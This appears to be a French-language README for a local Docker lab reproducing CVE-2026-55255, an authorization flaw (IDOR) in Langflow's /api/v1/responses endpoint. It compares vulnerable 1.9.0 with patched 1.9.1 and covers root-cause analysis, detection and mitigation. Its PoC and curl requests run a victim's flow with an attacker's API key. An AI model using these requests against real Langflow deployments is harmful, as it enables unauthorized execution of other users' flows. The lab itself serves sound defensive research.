
/api/v1/responsesCe dépôt contient un laboratoire Docker local pour reproduire et valider CVE-2026-55255, une vulnérabilité de type Insecure Direct Object Reference (IDOR) affectant l'API Responses compatible OpenAI de Langflow.
Langflow est une plateforme open-source pour construire et déployer des agents et des workflows propulsés par l'IA. Le comportement vulnérable affecte le point de terminaison /api/v1/responses, où un attaquant authentifié peut fournir l'UUID de flux d'un autre utilisateur comme valeur model et amener Langflow à exécuter ce flux appartenant à la victime.
Ce laboratoire compare deux versions de Langflow :
| Service | Langflow version | Objectif | URL |
|---|---|---|---|
| vuln | 1.9.0 | Cible de comparaison vulnérable | http://localhost:7860 |
| patched | 1.9.1 | Cible de comparaison corrigée | http://localhost:7861 |
Le chemin de validation HTTP démontré dans ce laboratoire local est :```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow
Dans la cible vulnérable, la clé API appartenant à l'attaquant peut exécuter le flux appartenant à la victime et la réponse contient le marqueur réservé à la victime :```text
VICTIM_ONLY_CONTEXT_55255_VULN
Dans la cible corrigée, la même requête inter-utilisateurs ne renvoie pas le marqueur de la victime et retourne un corps d'erreur de style OpenAI :```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
Ce laboratoire valide le comportement HTTP vulnérable versus patché en utilisant Langflow 1.9.0 et Langflow 1.9.1.
Le laboratoire est volontairement limité aux services Docker locaux. Il ne cible pas de systèmes externes et n'inclut pas de vol d'identifiants, d'extraction de bases de données, de charges utiles destructrices, de rappels externes, de logiciels malveillants, de persistance ou d'activités de post-exploitation.
## Faits vérifiés
| Affirmation | Preuve | Comment vérifier dans ce laboratoire |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 affecte le point de terminaison `/api/v1/responses` de Langflow. | L'avis GitHub GHSA-qrpv-q767-xqq2 décrit un IDOR dans `/api/v1/responses`. | Consultez la section Références et exécutez le PoC contre les deux cibles locales. |
| L'avis GitHub liste les versions affectées comme `< 1.9.1` et la version corrigée comme `1.9.1`. | Avis GitHub GHSA-qrpv-q767-xqq2. | Comparez les versions cibles vulnérable et patchée dans `docker-compose.yml`. |
| Certaines sources aval de vulnérabilités ne s'accordent pas sur la version corrigée exacte. | GitHub/GitLab listent `1.9.1` comme corrigé ; certaines pages aval d'intelligence mentionnent `1.9.2` ou contiennent un libellé mixte. | Consultez la section Références et fiez-vous à la validation du laboratoire pour le comportement testé de 1.9.1. |
| Ce laboratoire utilise Langflow 1.9.0 comme cible de comparaison vulnérable. | Le service `vuln` utilise `langflowai/langflow:1.9.0`. | Inspectez `docker-compose.yml` et exécutez `docker compose ps`. |
| Ce laboratoire utilise Langflow 1.9.1 comme cible de comparaison patchée. | Le service `patched` utilise `langflowai/langflow:1.9.1`. | Inspectez `docker-compose.yml` et exécutez `docker compose ps`. |
| L'API Responses de Langflow utilise `POST /api/v1/responses`. | La documentation Langflow décrit le point de terminaison de l'API Responses compatible OpenAI. | Exécutez le PoC ou une requête curl manuelle vers `/api/v1/responses`. |
| L'API Responses de Langflow accepte un ID de flux comme valeur `model`. | La documentation Langflow indique que la valeur `model` est remplacée par un `flow_id`. | Inspectez le corps de la requête du PoC. |
| Les requêtes API Langflow nécessitent une clé API via `x-api-key`. | La documentation de l'API Langflow décrit l'authentification par clé API avec l'en-tête `x-api-key`. | Inspectez les en-têtes de la requête du PoC. |
| Le PoC est basé sur des requêtes. | `poc/validate_idor.py` envoie des requêtes HTTP et n'appelle pas Docker, Docker Compose, de commandes shell ni d'API de conteneurs. | Inspectez `poc/validate_idor.py`. |
| La cible vulnérable exécute un flux appartenant à la victime avec une clé API appartenant à l'attaquant. | La réponse vulnérable renvoie `VICTIM_ONLY_CONTEXT_55255_VULN`. | Exécutez la commande PoC vulnérable avec l'ID de flux de la victime et la clé API de l'attaquant. |
| La cible patchée bloque le même chemin d'exécution inter-utilisateurs. | La réponse patchée renvoie `error.code = flow_not_found` et ne renvoie pas le marqueur de la victime. | Exécutez la commande PoC patchée avec l'ID de flux de la victime et la clé API de l'attaquant. |
## Hypothèses et inconnues
Ce laboratoire utilise Langflow 1.9.0 comme cible de comparaison vulnérable parce que l'avis GitHub GHSA-qrpv-q767-xqq2 identifie les versions antérieures à 1.9.1 comme affectées, et que les tests locaux ont confirmé le comportement vulnérable dans 1.9.0.
Ce laboratoire utilise Langflow 1.9.1 comme cible de comparaison patchée parce que l'avis GitHub GHSA-qrpv-q767-xqq2 liste 1.9.1 comme version corrigée, et que les tests locaux ont confirmé que 1.9.1 bloque le chemin d'exécution inter-utilisateurs testé de `/api/v1/responses` avec `flow_not_found`.
Il existe un écart de version entre les sources. Les avis GitHub et GitLab listent les versions antérieures à 1.9.1 comme affectées et 1.9.1 comme corrigée. Certaines pages aval d'intelligence sur les vulnérabilités mentionnent 1.9.2 ou contiennent un libellé mixte autour de la version corrigée. Ce référentiel documente cet écart et valide directement le comportement testé :```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
Ce laboratoire suppose que l'attaquant connaît déjà l'UUID d'un flux victime. La PoC n'effectue pas de force brute sur les identifiants de flux, n'énumère pas les flux et ne tente pas de découvrir les identifiants de flux victimes.
Ce laboratoire se concentre sur le comportement HTTP observable de :```text POST /api/v1/responses
avec cette forme de requête:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
Le lab démontre l'exécution non autorisée de flows cross-user dans la cible vulnérable et le comportement bloqué dans la cible corrigée.
Le lab ne démontre pas :
La cause racine de la CVE-2026-55255 est une lacune d'autorisation dans la logique de résolution de flows de Langflow.
Le endpoint /api/v1/responses accepte un UUID de flow via le champ model. Dans les versions vulnérables, le chemin de recherche d'UUID dans get_flow_by_id_or_endpoint_name() pouvait charger un objet Flow directement par clé primaire sans vérifier que le Flow.user_id résolu correspondait à l'utilisateur authentifié par clé API.
Le comportement vulnérable peut être résumé comme suit :```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output
Le comportement corrigé peut être résumé comme suit :```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
Le problème de sécurité n'est pas que l'attaquant puisse appeler /api/v1/responses avec ses propres flows. Ce comportement est attendu. Le problème est qu'un utilisateur authentifié à faibles privilèges peut amener le point de terminaison à exécuter un flow appartenant à un autre utilisateur lorsque l'UUID du flow de la victime est fourni.
La leçon de sécurité est :```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
## Analyse du code source
Le problème au niveau du code source a été confirmé en comparant Langflow `v1.9.0` et `v1.9.1`.
Les tags source examinés utilisés pour la revue étaient :
| Version | Commit Git |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
L'helper pertinent est :```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
Dans la branche UUID vulnérable, le flux était chargé par ID :```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)
Le contrôle manquant lié à la sécurité était:```python
flow.user_id == authenticated_user.id
Sans cette vérification du propriétaire, un UUID de flux valide suffisait pour résoudre un objet Flow même s'il appartenait à un autre utilisateur.
La version corrigée ajoute la normalisation de user_id et applique le cadrage par propriétaire sur le chemin UUID :```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
Le comportement important est:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
C'est pourquoi la réponse du lab patché renvoie :```json {"error":{"code":"flow_not_found"}}
au lieu d'exécuter le flux appartenant à la victime.
Pour ce laboratoire, le comportement vulnérable principal est le chemin d'exécution `/api/v1/responses` qui atteint `get_flow_by_id_or_endpoint_name()` et résout un UUID de flux appartenant à la victime sans appliquer la vérification de propriété.
Le correctif durcit également les routes d'exécution de flux associées. Dans `endpoints.py`, les routes qui utilisaient auparavant le helper brut comme dépendance FastAPI ont été modifiées, passant de :```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
vers des wrappers authentifiés tels que :```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
Ces changements de wrapper sont un durcissement connexe pour d'autres routes d'exécution de flux telles que `/api/v1/run*`. Ils garantissent que l'assistant reçoit l'ID utilisateur authentifié au lieu de se reposer sur un simple paramètre de requête. Le correctif principal démontré par ce laboratoire reste le contrôle de propriété côté résolveur dans `get_flow_by_id_or_endpoint_name()`.
Le correctif au niveau de la source comporte donc deux parties liées :```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
Langflow 1.9.1 durcit le chemin vulnérable de résolution de flux en traitant les recherches inter-utilisateurs comme introuvables et en garantissant que les routes d'exécution de flux associées transmettent le contexte d'utilisateur authentifié au résolveur.
La logique corrigée principale est :```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None
Le correctif ajoute également des dépendances de wrapper authentifiées pour les routes qui doivent résoudre des flux :```python
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
Le changement pertinent pour la sécurité est :```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow
After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed
Le correctif réduit également la divulgation d'informations. L'accès entre utilisateurs est traité comme introuvable plutôt que de renvoyer une réponse d'autorisation distincte qui pourrait révéler si le flux d'un autre utilisateur existe.
Ce laboratoire maintient la revue de code source et la validation à l'exécution séparées :```text
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
Le laboratoire exécute deux cibles Langflow isolées via Docker Compose.```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md
Les fichiers `state/` sont générés par les services seed au démarrage du laboratoire. Le répertoire `src/` contient les arborescences source Langflow extraites utilisées pour la vérification des différences de code source.
Les deux services Langflow utilisent des versions d'application distinctes et des bases de données SQLite distinctes dans leurs conteneurs :
| Service | Composant | Version / Rôle |
| ------------ | --------- | -------------------------------------- |
| vuln | Langflow | application cible vulnérable |
| patched | Langflow | application de comparaison corrigée |
| seed-vuln | Python | crée des utilisateurs locaux, des clés API et des flux |
| seed-patched | Python | crée des utilisateurs locaux, des clés API et des flux |
Services exposés par défaut :```text
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
| Cible | Version de Langflow | Comportement attendu |
|---|---|---|
| http://localhost:7860 | 1.9.0 | la clé API de l'attaquant peut exécuter le flux appartenant à la victime |
| http://localhost:7861 | 1.9.1 | l'exécution du flux de la victime par un autre utilisateur est bloquée |
Les services d'amorçage s'exécutent automatiquement pendant :```bash docker compose up --build --wait
Ils créent :```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
Les fichiers state/*.json générés par seed fournissent des valeurs de test locales jetables, telles que des clés API et des UUID de flux.
Le PoC ne lit pas state/*.json. L'utilisateur fournit l'URL cible, la clé API, l'ID de flux et le marqueur attendu facultatif via les arguments de la ligne de commande.
Le lab ne crée ni ne modifie la route vulnérable /api/v1/responses. Cette route est fournie par Langflow.
--waitjq pour les commandes pratiques de ce READMEAucun paquet Python tiers n'est requis pour le PoC. Le PoC utilise uniquement les modules de la bibliothèque standard de Python.
Le conteneur seed installe le paquet Python requests en interne. Ce paquet est utilisé uniquement par les services seed lors de la configuration du lab, pas par le PoC.
Démarrez le lab à partir d'un état propre :```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait
Vérifiez le statut du service :```bash
docker compose ps
Services sains attendus:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched
Cibles exposées attendues :```text
http://localhost:7860
http://localhost:7861
Vérifiez les fichiers d'état des seeds:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .
Fichiers attendus :```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
Exécutez une validation basée sur les requêtes contre la cible vulnérable :```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
Exécutez une validation basée sur les requêtes contre la cible corrigée :```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
Le PoC accepte une URL cible, une clé API, un ID de flux et un marqueur attendu optionnel :```bash
python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>
Options requises :
| Option | Signification |
| ------ | ------- |
| `--url` | URL de base de Langflow |
| `--api-key` | Clé API utilisée dans l'en-tête `x-api-key` |
| `--flow-id` | UUID du flux utilisé comme valeur `model` |
Options facultatives :
| Option | Signification |
| ------ | ------- |
| `--expect-marker` | Marqueur attendu dans la réponse si le flux cible s'exécute |
Le PoC envoie cette requête HTTP :```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
Corps de la requête :```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
Le PoC est basé sur des requêtes. Il ne fait pas appel à Docker, Docker Compose, aux commandes shell, à WP-CLI, aux API de conteneurs, ni aux API seed de Langflow.
Dans ce laboratoire, `state/*.json` peut être utilisé pour copier les clés API locales jetables et les ID de flux dans la commande PoC. Le PoC lui-même ne dépend pas de ces fichiers. Les clés API dans `state/*.json` sont des clés de laboratoire locales jetables ; n'utilisez pas de véritables clés API de production dans ces commandes.
## Résultats attendus
### Cible vulnérable
Commande :```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]
[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True
[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED
Le signal vulnérable important est :```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
Commande :```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
Signal attendu de la cible patchée :```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
Le signal important corrigé est :```text attacker API key
### Exécution observée sans marqueur
Si `--expect-marker` est omis et que la cible renvoie une réponse Langflow complète, le PoC signale :```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
Cela signifie que le flux cible s'est exécuté, mais la PoC ne peut pas prouver par elle-même que l'ID de flux fourni appartient à un autre utilisateur. La propriété doit être confirmée via les données seed du laboratoire, la source de l'ID de flux ou d'autres preuves autorisées.
Le validateur envoie une requête HTTP POST à l'endpoint de l'API Responses de Langflow :```text /api/v1/responses
La requête utilise la clé API fournie :```text
x-api-key: <attacker-api-key>
Le corps de la requête utilise l'UUID du flux fourni comme valeur model :```json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
Comportement vulnérable attendu :```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
Comportement attendu après correctif :```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found
Dans ce laboratoire, Langflow 1.9.1 renvoie `HTTP 200` avec un objet d'erreur JSON de style OpenAI :```json
{"error":{"code":"flow_not_found"}}
C'est pourquoi le PoC vérifie le code d'erreur JSON au lieu de supposer que le statut de transport HTTP doit être 404.
Le PoC ne valide intentionnellement que la condition d'exécution du flux inter-utilisateurs. Il ne tente pas de découvrir des identifiants de flux, de forcer des UUID par force brute, d'énumérer des utilisateurs, d'extraire des secrets ou de déclencher des services externes.
Le seed de laboratoire écrit des valeurs locales jetables dans state/*.json. Ces commandes utilisent ces valeurs locales pour construire des requêtes curl. Les fichiers d'état sont des artefacts propres au laboratoire.```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/vuln.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
Résultat vulnérable attendu :```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
Sonde corrigée:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/patched.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
Résultat attendu après correctif :```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
CVE-2026-55255 est sensible sur le plan de la sécurité dans les déploiements Langflow multi-utilisateurs ou multi-locataires, car un utilisateur authentifié peut être en mesure d'exécuter le flux d'un autre utilisateur si l'UUID du flux victime est connu.
L'impact potentiel dans le monde réel dépend de ce que fait le flux appartenant à la victime.
Les impacts possibles peuvent inclure :
L'exploitabilité pratique dépend de la possibilité pour l'attaquant d'obtenir un UUID de flux victime valide. La devinette d'UUID de flux n'est pas l'objet de ce laboratoire, et le PoC ne procède pas à du brute-force sur les identifiants de flux.
Ce laboratoire ne démontre que la défaillance de la limite d'autorisation de manière sûre :```text attacker API key
Le laboratoire ne démontre pas un accès réel aux données, un accès réel aux secrets, un abus de clés de fournisseur LLM, des callbacks externes, ni de post-exploitation.
## Détection et surveillance
Les indicateurs potentiels incluent des requêtes authentifiées vers :```text
POST /api/v1/responses
Modèle de requête suspect :```text x-api-key belongs to user A model contains flow UUID owned by user B
Idée de détection à signal élevé :```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
Journaux ou télémétrie de la couche application à examiner :
model,flow_not_found,/api/v1/responses,Exemple d'artefact de validation vulnérable :```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID
Response: status: completed error: null output contains victim-only marker
Exemple d'artefact de validation corrigé :```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
Recommended monitoring actions:
/api/v1/responses.flow_not_found concernant l'API Responses.Mettez à niveau Langflow vers une version corrigée.
L'avis GitHub GHSA-qrpv-q767-xqq2 indique que Langflow 1.9.1 est corrigé pour CVE-2026-55255. Certaines sources de renseignement sur les vulnérabilités en aval mentionnent 1.9.2 ou contiennent des formulations ambiguës concernant la version corrigée. Ce laboratoire valide que Langflow 1.9.1 bloque le chemin d'exécution inter-utilisateurs testé de /api/v1/responses avec flow_not_found. Pour les environnements de production, mettez à jour vers la dernière version disponible de Langflow plutôt que de vous arrêter à la version de comparaison du laboratoire.
Étapes d'atténuation recommandées :
/api/v1/responses inter-utilisateurs.Leçons d'ingénierie de sécurité :
Ce laboratoire est réservé à la recherche locale en sécurité et à la démonstration contrôlée.
N'exécutez pas le PoC ni de requêtes curl manuelles contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
N'utilisez pas de véritables identifiants de production, données clients, données de paiement, clés API, clés de fournisseur LLM, identifiants de base de données ou secrets de production dans ce laboratoire.
Le périmètre prévu est limité aux services Docker locaux tels que :```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861
The PoC est intentionnellement basé sur des requêtes. Il n'appelle pas Docker, Docker Compose, des commandes shell, WP-CLI, ni les API de conteneurs.
Le lab ne comprend pas de payloads pour :
* le brute force des UUID de flux,
* l'énumération des utilisateurs,
* le vol d'identifiants,
* le dump de bases de données,
* l'abus de clés de fournisseurs LLM,
* l'exécution arbitraire de commandes,
* les malwares,
* la persistance,
* le mouvement latéral,
* l'accès aux données clients,
* ou les callbacks externes.
L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
Enregistrement CVE : CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255
Avis GitHub : GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2
Avis GitLab : CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
Pull request Langflow : fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832
Documentation de l'API OpenAI Responses de Langflow https://docs.langflow.org/api-openai-responses
Documentation des clés API et de l'authentification de Langflow https://docs.langflow.org/api-keys-and-authentication
Exemples de référence de l'API Langflow https://docs.langflow.org/api-reference-api-examples
Dépôt GitHub de Langflow https://github.com/langflow-ai/langflow
Image Docker de Langflow https://hub.docker.com/r/langflowai/langflow
Note de plugin Tenable pour GHSA-qrpv-q767-xqq2 https://www.tenable.com/plugins/container-security/443659
Intelligence de vulnérabilité Mondoo : CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255